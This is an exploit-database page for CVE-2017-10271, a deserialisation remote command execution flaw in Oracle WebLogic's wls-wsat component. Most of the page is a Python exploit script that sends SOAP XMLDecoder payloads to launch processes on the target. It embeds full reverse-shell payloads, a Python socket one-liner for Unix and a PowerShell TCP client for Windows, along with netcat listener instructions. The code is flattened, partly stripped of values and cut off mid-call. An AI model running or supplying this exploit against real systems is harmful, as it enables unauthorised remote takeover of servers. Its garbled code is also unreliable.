Oracle WebLogic < 10.3.6 wls-wsat Component Deserialisation Remote Command Execution

Credit: Kevin Kirsche
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title: Weblogic wls-wsat Component Deserialization RCE # Date Authored: Jan 3, 2018 # Date Announced: 10/19/2017 # Exploit Author: Kevin Kirsche (d3c3pt10n) # Exploit Github: # Exploit is based off of POC by Luffin from Github # # Vendor Homepage: # Version:,, and # Tested on: Oracle WebLogic running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS # CVE: CVE-2017-10271 # Usage: python -l -p 4444 -r # (Python 3) Example check listener: python3 -m http.server 4444 # (Python 2) Example check listener: python -m SimpleHTTPServer 4444 # (Netcat) Example exploit listener: nc -nlvp 4444 from sys import exit from requests import post from argparse import ArgumentParser from random import choice from string import ascii_uppercase, ascii_lowercase, digits from xml.sax.saxutils import escape class Exploit: def __init__(self, check, rhost, lhost, lport, windows): self.url = rhost if not rhost.endswith('/') else rhost.strip('/') self.lhost = lhost self.lport = lport self.check = check if windows: = 'win' else: = 'unix' if == 'unix': # Unix reverse shell # You should also be able to instead use something from MSFVenom. E.g. # msfvenom -p cmd/unix/reverse_python LHOST= LPORT=4444 self.cmd_payload = ( "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket." "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2(" "s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'" ).format(lhost=self.lhost, lport=self.lport) else: # Windows reverse shell # Based on msfvenom -p cmd/windows/reverse_powershell LHOST= LPORT=4444 self.cmd_payload = ( r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) " r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +"" r"';$p='"+ self.lport + "';$c=New-Object;$c.connect($a" r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;" r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';" r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;" r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;" r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;" r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};" r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;" r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)" r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;" r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};" r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if " r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne" r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e." r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};" ) self.cmd_payload = escape(self.cmd_payload) def cmd_base(self): if == 'win': return 'cmd' return '/bin/sh' def cmd_opt(self): if == 'win': return '/c' return '-c' def get_generic_check_payload(self): random_uri = ''.join( choice(ascii_uppercase + ascii_lowercase + digits) for _ in range(16)) generic_check_payload = '''<soapenv:Envelope xmlns:soapenv=""> <soapenv:Header> <work:WorkContext xmlns:work=""> <java version="1.8" class="java.beans.XMLDecoder"> <object id="url" class=""> <string>http://{lhost}:{lport}/{random_uri}</string> </object> <object idref="url"> <void id="stream" method = "openStream" /> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' return generic_check_payload.format( lhost=self.lhost, lport=self.lport, random_uri=random_uri) def get_process_builder_payload(self): process_builder_payload = '''<soapenv:Envelope xmlns:soapenv=""> <soapenv:Header> <work:WorkContext xmlns:work=""> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3" > <void index="0"> <string>{cmd_base}</string> </void> <void index="1"> <string>{cmd_opt}</string> </void> <void index="2"> <string>{cmd_payload}</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' return process_builder_payload.format(cmd_base=self.cmd_base(), cmd_opt=self.cmd_opt(), cmd_payload=self.cmd_payload) def print_banner(self): print("=" * 80) print("CVE-2017-10271 RCE Exploit") print("written by: Kevin Kirsche (d3c3pt10n)") print("Remote Target: {rhost}".format(rhost=self.url)) print("Shell Listener: {lhost}:{lport}".format( lhost=self.lhost, lport=self.lport)) print("=" * 80) def post_exploit(self, data): headers = { "Content-Type": "text/xml;charset=UTF-8", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" } payload = "/wls-wsat/CoordinatorPortType" vulnurl = self.url + payload try: req = post( vulnurl, data=data, headers=headers, timeout=10, verify=False) if self.check: print("[*] Did you get an HTTP GET request back?") else: print("[*] Did you get a shell back?") except Exception as e: print('[!] Connection Error') print(e) def run(self): self.print_banner() if self.check: print('[+] Generating generic check payload') payload = self.get_generic_check_payload() else: print('[+] Generating execution payload') payload = self.get_process_builder_payload() print('[*] Generated:') print(payload) if self.check: print('[+] Running generic check payload') else: print('[+] Running {target} execute payload').format( self.post_exploit(data=payload) if __name__ == "__main__": parser = ArgumentParser( description= 'CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. Supported versions that are affected are,, and' ) parser.add_argument( '-l', '--lhost', required=True, dest='lhost', nargs='?', help='The listening host that the remote server should connect back to') parser.add_argument( '-p', '--lport', required=True, dest='lport', nargs='?', help='The listening port that the remote server should connect back to') parser.add_argument( '-r', '--rhost', required=True, dest='rhost', nargs='?', help='The remote host base URL that we should send the exploit to') parser.add_argument( '-c', '--check', dest='check', action='store_true', help= 'Execute a check using HTTP to see if the host is vulnerable. This will cause the host to issue an HTTP request. This is a generic check.' ) parser.add_argument( '-w', '--win', dest='windows', action='store_true', help= 'Use the windows cmd payload instead of unix payload (execute mode only).' ) args = parser.parse_args() exploit = Exploit( check=args.check, rhost=args.rhost, lhost=args.lhost, lport=args.lport,

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top